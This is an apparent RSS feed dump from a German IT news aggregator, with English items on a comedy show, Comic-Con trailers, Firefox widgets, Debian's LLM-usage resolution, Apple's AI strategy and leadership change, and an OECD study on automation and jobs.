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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<lastBuildDate>Tue, 28 Jul 2026 13:46:35 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 13:46:35 +0200</pubDate>
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<copyright>2026 Team IT Security</copyright>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<item>
<title><![CDATA[John Robertson's The Dark Room (emf2026)]]></title>
<description><![CDATA[Welcome to John Robertson’s THE DARK ROOM – the legendary interactive comedy show that fuses improv, crowdwork and gaming to create an insane live-action videogame!

“An hilarious, participatory cult classic”
Neil Patrick Harris

“hilarious game show”
Independent
★★★★

“A Rocky Horror for nerds… ...]]></description>
<link>https://tsecurity.de/de/3695464/it-security-video/john-robertsons-the-dark-room-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695464/it-security-video/john-robertsons-the-dark-room-emf2026/</guid>
<pubDate>Sun, 26 Jul 2026 12:05:29 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Welcome to John Robertson’s THE DARK ROOM – the legendary interactive comedy show that fuses improv, crowdwork and gaming to create an insane live-action videogame!

“An hilarious, participatory cult classic”
Neil Patrick Harris

“hilarious game show”
Independent
★★★★

“A Rocky Horror for nerds… reader, I howled”
Telegraph, London

Come watch, and if you want – play – the choose-your-own-adventure madness!

The crowd is trapped inside an inescapable dungeon with a sadistic videogame boss!

Pick increasingly surreal options off the screen and try to escape!

If you win – you get money!

If you fail – YA DIE! YA DIE! YA DIE!

Now, will you:

Find the Light Switch

Go North?

Abandon Hope?

Be sworn at by a man wearing spiked armour and a lot of leather?

(This option is permanently set to “On”)

Now in its 14th year, this high-octane interactive show is the brainchild of comedian &amp; cult leader John Robertson. Filled with stand-up, appalling prizes and more audience chanting than you’d get at a protest – The Dark Room is a gut-busting comedy experience for everyone.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/174-john-robertsons-the-dark-room]]></content:encoded>
</item>
<item>
<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
<p></p><div class="share_submission">
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</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox's New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword]]></title>
<description><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After ...]]></description>
<link>https://tsecurity.de/de/3695175/it-security-nachrichten/firefoxs-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695175/it-security-nachrichten/firefoxs-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</guid>
<pubDate>Sun, 26 Jul 2026 07:16:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. 

While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... 

[T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] 

They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: 

 browser.newtabpage.activity-stream.widgets.system.enabled 
Then, enable the widgets you want to use by searching: 

 activity-stream.widgets.*.enabled 

However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Firefox's+New+Tab+Page+Will+Get+Widgets+-+Including+an+AI-Powered+Daily+Crossword%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F1944229%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/25/1944229/firefoxs-new-tab-page-will-get-widgets---including-an-ai-powered-daily-crossword?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A Debian general resolution on LLM usage]]></title>
<description><![CDATA[The Debian project is considering a general
resolution on the use of large language models in the creation of the
distribution.  There are three alternatives to consider: a
total ban on LLM usage, rejecting LLMs "as far as practical", or
explicitly allowing LLM usage subject to a set of condition...]]></description>
<link>https://tsecurity.de/de/3695135/linux-tipps/a-debian-general-resolution-on-llm-usage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695135/linux-tipps/a-debian-general-resolution-on-llm-usage/</guid>
<pubDate>Sun, 26 Jul 2026 06:39:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Debian project is <a href="https://www.debian.org/vote/2026/vote_002">considering a general
resolution</a> on the use of large language models in the creation of the
distribution.  There are three alternatives to consider: a
total ban on LLM usage, rejecting LLMs "<q>as far as practical</q>", or
explicitly allowing LLM usage subject to a set of conditions.  The
discussion period has just begun; the beginning of the voting period does
not yet appear to have been set.  Those who want to look over the
discussion ahead of the inevitable LWN article can find it <a href="https://lwn.net/ml/all/til24c.3ns3jl2mkmzmn@riseup.net">over here</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox' New Tab Page Will Get Widgets - Including an AI-Powered Daily Crossword]]></title>
<description><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After ...]]></description>
<link>https://tsecurity.de/de/3694992/it-security-nachrichten/firefox-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694992/it-security-nachrichten/firefox-new-tab-page-will-get-widgets-including-an-ai-powered-daily-crossword/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In a sign of the times, Firefox's New Tab page could soon include a crossword puzzle from AI-powered news platform Particle. The blog OMG Ubuntu reports:

The mini crossword game is updated daily, with puzzles based around recent content Particle's AI has ingested and summarised that day. [After solving the crossword, links appear to related news articles...] If you just want to try the crossword, you access it in any browser via a direct link. 

While it may look like Mozilla is trying to capitalise on the Wordle craze several years too late, it's part of its strategy to make the Firefox new tab page a discover destination in itself, not just a springboard for new searches. The 'Daily Grind' crossword widget (name subject to change) is just one of several widgets Firefox has (or will get). You'll also find a to-do list, timer, stock checker, world clock, picture of the day, privacy report and new-look weather widget (bigger than the existing one). During the World Cup 2026, Firefox offered real-time match scores and fixture information too... 

[T]hey aren't mandatory. You can disable the ones you don't want to use, or, if you don't want any at all, turn them all off to hide the widget area itself. A button to 'show fewer widgets' frees up room to allow other distractions (sponsored stories) on the new tab page to show... [Presumably you can also still open new tabs to a blank page...] 

They're rolling out to users in certain region and locales already. Plus, Mozilla routinely tests new features with a small set of users before they hit stable builds (i.e., the "Allow Firefox to run feature studies" setting). If you don't have widgets in your Firefox build, but you want them, you can manually enable them in Firefox 153 and later from the about:config page. Search for the following master switch and set it to true to enable the widget area: 

 browser.newtabpage.activity-stream.widgets.system.enabled 
Then, enable the widgets you want to use by searching: 

 activity-stream.widgets.*.enabled 

However, the usual caveats about "trying things not enabled by default" still apply. Mozilla hasn't set a firm rollout date, though the feature is already documented on its support site. With fortnightly Firefox releases about to start, and a big Nova redesign, chances are we'll all be puzzling over these widgets sooner rather than later.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Firefox'+New+Tab+Page+Will+Get+Widgets+-+Including+an+AI-Powered+Daily+Crossword%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F1944229%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://news.slashdot.org/story/26/07/25/1944229/firefox-new-tab-page-will-get-widgets---including-an-ai-powered-daily-crossword?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Opus 5 is said to find security vulnerabilities at Mythos level - Heise]]></title>
<description><![CDATA[While Opus 5 was not trained on cybersecurity tasks, Anthropic emphasizes, its general capabilities are good enough to match Mythos 5 in finding ...]]></description>
<link>https://tsecurity.de/de/3694941/it-security-nachrichten/claude-opus-5-is-said-to-find-security-vulnerabilities-at-mythos-level-heise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694941/it-security-nachrichten/claude-opus-5-is-said-to-find-security-vulnerabilities-at-mythos-level-heise/</guid>
<pubDate>Sat, 25 Jul 2026 22:45:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While Opus 5 was not trained on cybersecurity tasks, Anthropic emphasizes, its general capabilities are good enough to match Mythos 5 in finding ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
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<title><![CDATA[Apple and the changing of the guard]]></title>
<description><![CDATA[As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition. 



What’s going well



Just look at the evidence: 




Apple is building marke...]]></description>
<link>https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">As Apple gears up to <a href="https://www.computerworld.com/article/4161377/with-john-ternus-as-ceo-expect-apples-platforms-to-proliferate.html">anoint John Ternus</a> the new company CEO in September (while current leader Tim Cook <a href="https://www.apple.com/uk/newsroom/2026/04/tim-cook-to-become-apple-executive-chairman-john-ternus-to-become-apple-ceo/" target="_blank" rel="noreferrer noopener">takes a seat on the board</a>) the company appears to be firing on all cylinders ahead of the leadership transition. </p>



<h2 class="wp-block-heading"><strong>What’s going well</strong></h2>



<p class="wp-block-paragraph">Just look at the evidence: </p>



<ul class="wp-block-list">
<li>Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.</li>



<li>While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop <a href="https://www.amazon.com/Best-Sellers-Laptop-Computers/zgbs/electronics/565108" target="_blank" rel="noreferrer noopener">Amazon’s US best-selling chart</a>, which currently includes six Macs in the top 10. The Neo has <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html" target="_blank">topped this chart</a> since its introduction.</li>



<li>Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both <a href="https://counterpointresearch.com/en/insights/china-smartphone-shipments-slip-2-percent-yoy-in-q2-2026">Counterpoint</a> and <a href="https://www.applemust.com/apple-bucks-the-trend-in-china-with-iphone/">IDC</a> tell us that iPhone shipments continue to increase, even as other vendor shipments slide.</li>



<li>IDC analyst Francisco Jeronimo <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-20">recently estimated</a> that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.</li>



<li>The company’s new <a href="https://www.computerworld.com/article/4188961/these-apple-os-betas-are-just-what-the-believers-wanted.html">27 series of operating systems</a> is attracting a great response as beta testers report that it is already solid, stable, and performing well.</li>



<li>The AI narrative has really changed, with analysts no longer <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">quite so starry-eyed</a> at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.</li>
</ul>



<h2 class="wp-block-heading"><strong>What’s coming up</strong></h2>



<p class="wp-block-paragraph">The company’s <a href="https://www.computerworld.com/article/4198342/apple-widens-openai-trade-secrets-fight-with-preservation-orders.html">newly-filed lawsuit against OpenAI</a> may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other. </p>



<p class="wp-block-paragraph">Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">Jony Ive-tinged talisman</a>.</p>



<p class="wp-block-paragraph">The stage is set for intense competition between the two. Though some say Apple’s needs to improve  employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware. </p>



<p class="wp-block-paragraph">If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.</p>



<h2 class="wp-block-heading"><strong>Managing perception</strong></h2>



<p class="wp-block-paragraph">It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”</p>



<p class="wp-block-paragraph">Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same. </p>



